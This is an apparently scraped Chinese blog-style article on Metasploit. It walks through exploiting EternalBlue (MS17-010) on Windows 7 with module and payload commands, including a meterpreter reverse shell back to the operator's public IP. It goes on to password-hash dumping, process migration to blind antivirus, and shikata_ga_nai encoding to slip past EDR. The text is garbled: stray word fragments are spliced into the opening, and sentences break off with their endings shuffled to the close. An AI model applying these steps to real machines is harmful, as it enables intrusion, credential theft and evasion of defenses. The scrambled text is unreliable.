利用msf进行漏洞检测
凌晨两点，利用我盯着屏幕上那个跳动的行漏光标。目标服务器开着445端口，洞检Windows 7系统，利用补丁停留在2017年。行漏永恒之蓝的洞检利用代码已经加载完毕，回车键按下去，利用meterpreter会话像条蛇一样滑了进来。行漏整个过程不到三秒。洞检 这就是利用MSF（Metasploit Framework）的威力——它把漏洞检测从一门玄学变成了流水线作业。你不需要理解SMB协议里每个字节的行漏含义，不需要自己写shellcode，洞检甚至不需要知道目标机器上跑的利用是什么杀毒软件。你只需要知道：这个系统存在某个已知漏洞，行漏而MSF里有对应的洞检模块。 拿最基础的流程举例。扫描阶段用nmap探活，或者干脆用MSF自带的db_nmap。端口开放情况、服务版本、操作系统指纹，这些信息会像超市货架上的商品一样整齐排列。接着调用 真正考验人的是设置payload。 漏洞检测不等于漏洞利用。MSF里有个 后渗透阶段才是MSF真正让人上瘾的地方。 但MSF不是万能钥匙。它依赖漏洞库的更新速度，遇到0day就抓瞎。而且现在不少EDR产品能直接识别MSF的流量特征——默认的meterpreter payload一上线就被拦。你得学会用 最后说句实在话：MSF让漏洞检测的门槛低到令人发指，但真正拉开差距的是你对系统原理的理解深度。工具只负责执行，判断和决策永远得靠人脑。那些在键盘上敲命令敲得飞起的，未必比得上花半小时读漏洞分析文档的。工具会过时，但思路不会。search命令，输入关键词，比如"ms17-010"或者"eternalblue"，模块列表就蹦出来了。use exploit/windows/smb/ms17_010_eternalblue，一行命令切进攻击载荷配置界面。set payload windows/x64/meterpreter/reverse_tcp，然后填上你的IP和监听端口。这里有个细节：如果你在NAT后面，记得用set LHOST填公网IP，否则反弹连接会打到内网去。我第一次实操时就栽在这上面，盯着监听窗口看了十分钟，愣是没等到会话。后来才发现是VPN虚拟网卡的IP地址被自动识别成了LHOST。check命令，专门用来验证目标是否存在漏洞而不实际触发攻击。这玩意儿在真实渗透测试里特别有用——客户只让你验证风险，没授权你搞破坏。不过check命令的准确率时高时低，有些模块的check逻辑写得粗糙，会误报。我的经验是：check结果只能当参考，真正的验证还得靠实际利用，但实际利用前必须确认授权范围。sysinfo查看系统信息，getuid查看当前权限，hashdump导出密码哈希。如果运气好拿到SYSTEM权限，直接migrate到explorer.exe进程里，杀毒软件就睁眼瞎了。有一次我在测试环境里拿到会话后，发现目标机器上居然连着打印机，顺手用enum_modules看了一遍加载的驱动，那种掌控感确实上头。shikata_ga_nai编码器混淆，或者改用HTTPS协议包装流量，甚至手动修改payload的源码特征。这活儿越来越像猫鼠游戏，MSF是那把锤子，但钉子形状变了，你得自己找新的敲法。